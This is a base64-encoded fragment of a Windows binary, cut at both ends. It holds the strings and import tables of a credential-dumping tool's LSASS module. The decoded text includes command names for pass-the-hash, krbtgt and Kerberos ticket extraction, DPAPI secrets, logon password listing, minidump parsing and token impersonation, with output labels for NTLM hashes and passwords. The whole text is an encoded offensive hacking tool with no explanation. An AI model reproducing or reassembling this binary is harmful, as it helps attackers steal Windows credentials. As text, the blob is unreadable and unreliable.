gBjAGUAcwAgAGYAcgBvAG0AIABjAG8AbAB1AG0AbgA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzAF8AcABhAHIAcwBlAEYAaQBlAGwAZAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBhAGQAIABmAGkAcgBzAHQAIABlAGwAZQBtAGUAbgB0AAoAAABsAHMAYQBzAHIAdgAAAAAATHNhSUNhbmNlbE5vdGlmaWNhdGlvbgAATHNhSVJlZ2lzdGVyTm90aWZpY2F0aW9uAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AbgB0ADUAXwBpAG4AaQB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAKAAAAAABiAGMAcgB5AHAAdAAAAAAAQkNyeXB0T3BlbkFsZ29yaXRobVByb3ZpZGVyAEJDcnlwdFNldFByb3BlcnR5AAAAQkNyeXB0R2V0UHJvcGVydHkAAABCQ3J5cHRHZW5lcmF0ZVN5bW1ldHJpY0tleQAAQkNyeXB0RW5jcnlwdAAAAEJDcnlwdERlY3J5cHQAAABCQ3J5cHREZXN0cm95S2V5AAAAAEJDcnlwdENsb3NlQWxnb3JpdGhtUHJvdmlkZXIAAAAAMwBEAEUAUwAAAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBCAEMAAABDAGgAYQBpAG4AaQBuAGcATQBvAGQAZQAAAAAATwBiAGoAZQBjAHQATABlAG4AZwB0AGgAAAAAAEEARQBTAAAAQwBoAGEAaQBuAGkAbgBnAE0AbwBkAGUAQwBGAEIAAABDAGEAYwBoAGUAZABVAG4AbABvAGMAawAAAAAAQwBhAGMAaABlAGQAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAQwBhAGMAaABlAGQASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAAUgBlAG0AbwB0AGUASQBuAHQAZQByAGEAYwB0AGkAdgBlAAAATgBlAHcAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAABOAGUAdAB3AG8AcgBrAEMAbABlAGEAcgB0AGUAeAB0AAAAAABVAG4AbABvAGMAawAAAAAAUAByAG8AeAB5AAAAUwBlAHIAdgBpAGMAZQAAAEIAYQB0AGMAaAAAAE4AZQB0AHcAbwByAGsAAABJAG4AdABlAHIAYQBjAHQAaQB2AGUAAABVAG4AawBuAG8AdwBuACAAIQAAAFUAbgBkAGUAZgBpAG4AZQBkAEwAbwBnAG8AbgBUAHkAcABlAAAAAABMAGkAcwB0ACAAQwByAGUAZABlAG4AdABpAGEAbABzACAATQBhAG4AYQBnAGUAcgAAAAAAYwByAGUAZABtAGEAbgAAAEwAaQBzAHQAIABDAGEAYwBoAGUAZAAgAE0AYQBzAHQAZQByAEsAZQB5AHMAAAAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASwBlAHkAcwAAAGUAawBlAHkAcwAAAEwAaQBzAHQAIABLAGUAcgBiAGUAcgBvAHMAIAB0AGkAYwBrAGUAdABzAAAAdABpAGMAawBlAHQAcwAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNACAAcwBlAGMAcgBlAHQAAABkAHAAYQBwAGkAcwB5AHMAdABlAG0AAABrAHIAYgB0AGcAdAAhAAAAUABhAHMAcwAtAHQAaABlAC0AaABhAHMAaAAAAHAAdABoAAAAUwB3AGkAdABjAGgAIAAoAG8AcgAgAHIAZQBpAG4AaQB0ACkAIAB0AG8AIABMAFMAQQBTAFMAIABtAGkAbgBpAGQAdQBtAHAAIABjAG8AbgB0AGUAeAB0AAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAGwAbwBnAG8AbgBQAGEAcwBzAHcAbwByAGQAcwAAAAAATABpAHMAdABzACAAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABzAHMAcAAAAEwAaQBzAHQAcwAgAEwAaQB2AGUAUwBTAFAAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdABzAHAAawBnAAAATABpAHMAdABzACAASwBlAHIAYgBlAHIAbwBzACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAABMAGkAcwB0AHMAIABXAEQAaQBnAGUAcwB0ACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdwBkAGkAZwBlAHMAdAAAAEwAaQBzAHQAcwAgAEwATQAgACYAIABOAFQATABNACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAbQBzAHYAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAUwBlAGsAdQByAEwAUwBBACAAbQBvAGQAdQBsAGUAAABzAGUAawB1AHIAbABzAGEAAAAAAFMAdwBpAHQAYwBoACAAdABvACAAUABSAE8AQwBFAFMAUwAKAAAAAABTAHcAaQB0AGMAaAAgAHQAbwAgAE0ASQBOAEkARABVAE0AUAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAG0AaQBuAGkAZAB1AG0AcAAgADsAIAA8AG0AaQBuAGkAZAB1AG0AcABmAGkAbABlAC4AZABtAHAAPgAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAAAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgACgAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgACEAPQAgAE0ASQBNAEkASwBBAFQAWgBfAE4AVABfAE0AQQBKAE8AUgBfAFYARQBSAFMASQBPAE4AIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AFAAcgBvAGMAZQBzAHMAbwByAEEAcgBjAGgAaQB0AGUAYwB0AHUAcgBlACAAKAAlAHUAKQAgACEAPQAgAFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAXwBJAE4AVABFAEwAIAAoACUAdQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAdwBpAHQAaABvAHUAdAAgAFMAeQBzAHQAZQBtAEkAbgBmAG8AUwB0AHIAZQBhAG0AIAAoAD8AKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABLAGUAeQAgAGkAbQBwAG8AcgB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AZwBvAG4AIABsAGkAcwB0AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAG8AZAB1AGwAZQBzACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGUAbQBvAHIAeQAgAG8AcABlAG4AaQBuAGcACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEgAYQBuAGQAbABlACAAbwBuACAAbQBlAG0AbwByAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGMAYQBsACAATABTAEEAIABsAGkAYgByAGEAcgB5ACAAZgBhAGkAbABlAGQACgAAAAAACQAlAHMAIAA6AAkAAAAAAAAAAAAKAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAgAEkAZAAgADoAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAUwBlAHMAcwBpAG8AbgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAcwAgAGYAcgBvAG0AIAAlAHUACgBVAHMAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBEAG8AbQBhAGkAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgBMAG8AZwBvAG4AIABTAGUAcgB2AGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAAAATABvAGcAbwBuACAAVABpAG0AZQAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEkARAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAFAAcgBlAHYAaQBvAHUAcwAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAHIAYgB0AGcAdAAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGYAaQBuAGQAIABLAEQAQwAgAHAAYQB0AHQAZQByAG4AIABpAG4AIABMAFMAQQBTAFMAIABtAGUAbQBvAHIAeQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGsAcgBiAHQAZwB0ACAAOwAgAEsARABDACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAAoAJQBzACAAawByAGIAdABnAHQAOgAgAAAAAAAlAHUAIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMACgAAAAkAIAAqACAAJQBzACAAOgAgAAAARABQAEEAUABJAF8AUwBZAFMAVABFAE0ACgAAAGYAdQBsAGwAOgAgAAAAAAAKAG0ALwB1ACAAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAATgBvAHQAIABpAG4AaQB0AGkAYQBsAGkAegBlAGQAIQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGQAcABhAHAAaQBfAHMAeQBzAHQAZQBtACAAOwAgAFAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEQAUABBAFAASQAgAHMAZQByAHYAaQBjAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AZABwAGEAcABpAF8AcwB5AHMAdABlAG0AIAA7ACAARABQAEEAUABJACAAcwBlAHIAdgBpAGMAZQAgAG4AbwB0ACAAaQBuACAATABTAEEAUwBTACAAbQBlAG0AbwByAHkACgAAAGkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAHIAdQBuAAAAeQBlAHMAAABuAG8AAAAAAHUAcwBlAHIACQA6ACAAJQBzAAoAZABvAG0AYQBpAG4ACQA6ACAAJQBzAAoAcAByAG8AZwByAGEAbQAJADoAIAAlAHMACgBpAG0AcABlAHIAcwAuAAkAOgAgACUAcwAKAAAAAABBAEUAUwAxADIAOAAJADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMQAyADgAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAEEARQBTADIANQA2AAkAOgAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAE4AVABMAE0ACQA6ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAG4AdABsAG0AIABoAGEAcwBoAC8AcgBjADQAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAACAAIABcAF8AIABrAGUAcgBiAGUAcgBvAHMAIAAtACAAAAAAACoAKgAgAFQAbwBrAGUAbgAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAaQBvAG4AIAAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABTAGUAdABUAGgAcgBlAGEAZABUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtAC8AcgBjADQAIABPAFIAIABhAGUAcwAxADIAOAAgAE8AUgAgAGEAZQBzADIANQA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAGQAbwBtAGEAaQBuAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIAB1AHMAZQByAAoAAAAAAAAAAAAKAAkAIAAqACAAVQBzAGUAcgBuAGEAbQBlACAAOgAgACUAdwBaAAoACQAgACoAIABEAG8AbQBhAGkAbgAgACAAIAA6ACAAJQB3AFoAAAAAAAoACQAgACoAIABMAE0AIAAgACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABTAEgAQQAxACAAIAAgACAAIAA6ACAAAAAAAAoACQAgACoAIABSAGEAdwAgAGQAYQB0AGEAIAA6ACAAAAAAAAoACQAgACoAIABTAG0AYQByAHQAYwBhAHIAZAAAAAAACgAJACAAIAAgACAAIABQAEkATgAgAGMAbwBkAGUAIAA6ACAAJQB3AFoAAAAAAAAACgAJACAAIAAgACAAIABDAGEAcgBkACAAIAAgACAAIAA6ACAAJQBzAAoACQAgACAAIAAgACAAUgBlAGEAZABlAHIAIAAgACAAOgAgACUAcwAKAAkAIAAgACAAIAAgAEMAbwBuAHQAYQBpAG4AZQByADoAIAAlAHMACgAJACAAIAAgACAAIABQAHIAbwB2AGkAZABlAHIAIAA6ACAAJQBzAAAAAAAJACAAIAAgACUAcwAgAAAAPABuAG8AIABzAGkAegBlACwAIABiAHUAZgBmAGUAcgAgAGkAcwAgAGkAbgBjAG8AcgByAGUAYwB0AD4AAAAAACUAdwBaAAkAJQB3AFoACQAAAAAACgAJACAAKgAgAFUAcwBlAHIAbgBhAG0AZQAgADoAIAAlAHcAWgAKAAkAIAAqACAARABvAG0AYQBpAG4AIAAgACAAOgAgACUAdwBaAAoACQAgACoAIABQAGEAcwBzAHcAbwByAGQAIAA6ACAAAAAAAEwAVQBJAEQAIABLAE8ACgAAAAAACgAJACAAKgAgAFIAbwBvAHQASwBlAHkAIAAgADoAIAAAAAAACgAJACAAKgAgAEQAUABBAFAASQAgACAAIAAgADoAIAAAAAAACgAJACAAKgAgACUAMAA4AHgAIAA6ACAAAAAAAAoACQAgACAAIAAqACAATABTAEEAIABJAHMAbwBsAGEAdABlAGQAIABEAGEAdABhADoAIAAlAC4AKgBTAAAAAAAKAAkAIAAgACAAIAAgAFUAbgBrAC0ASwBlAHkAIAAgADoAIAAAAAAACgAJACAAIAAgACAAIABFAG4AYwByAHkAcAB0AGUAZAA6ACAAAAAAAAoACQAJACAAIAAgAFMAUwA6ACUAdQAsACAAVABTADoAJQB1ACwAIABEAFMAOgAlAHUAAAAAAAAACgAJAAkAIAAgACAAMAA6ADAAeAAlAHgALAAgADEAOgAwAHgAJQB4ACwAIAAyADoAMAB4ACUAeAAsACAAMwA6ADAAeAAlAHgALAAgADQAOgAwAHgAJQB4ACwAIABFADoAAAAAACwAIAA1ADoAMAB4ACUAeAAAAAAACgAJACAAWwAlADAAOAB4AF0AAABkAHAAYQBwAGkAcwByAHYALgBkAGwAbAAAAAAACQAgAFsAJQAwADgAeABdAAoACQAgACoAIABHAFUASQBEACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABUAGkAbQBlACAAIAAgACAAIAAgADoACQAAAAoACQAgACoAIABNAGEAcwB0AGUAcgBLAGUAeQAgADoACQAAAAoACQAgACoAIABzAGgAYQAxACgAawBlAHkAKQAgADoACQAAAAoACQBLAE8AAAAAAFQAaQBjAGsAZQB0ACAARwByAGEAbgB0AGkAbgBnACAAVABpAGMAawBlAHQAAAAAAEMAbABpAGUAbgB0ACAAVABpAGMAawBlAHQAIAA/AAAAVABpAGMAawBlAHQAIABHAHIAYQBuAHQAaQBuAGcAIABTAGUAcgB2AGkAYwBlAAAAawBlAHIAYgBlAHIAbwBzAC4AZABsAGwAAAAAAAoACQBHAHIAbwB1AHAAIAAlAHUAIAAtACAAJQBzAAAACgAJACAAKgAgAEsAZQB5ACAATABpAHMAdAAgADoACgAAAAAAZABhAHQAYQAgAGMAbwBwAHkAIABAACAAJQBwAAAAAAAKACAAIAAgAFwAXwAgACUAcwAgAAAAAAAtAD4AIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGUAbgB1AG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHQAaAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAgACAAIABcAF8AIAAqAFAAYQBzAHMAdwBvAHIAZAAgAHIAZQBwAGwAYQBjAGUAIAAtAD4AIAAAAAAAbgB1AGwAbAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBrAGUAcgBiAGUAcgBvAHMAXwBlAG4AdQBtAF8AdABpAGMAawBlAHQAcwAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAoACQAgACAAIABMAFMAQQAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAtACUAdwBaAEAAJQB3AFoALQAlAHcAWgAuACUAcwAAAAAAWwAlAHgAOwAlAHgAXQAtACUAMQB1AC0AJQB1AC0AJQAwADgAeAAuACUAcwAAAAAAbABpAHYAZ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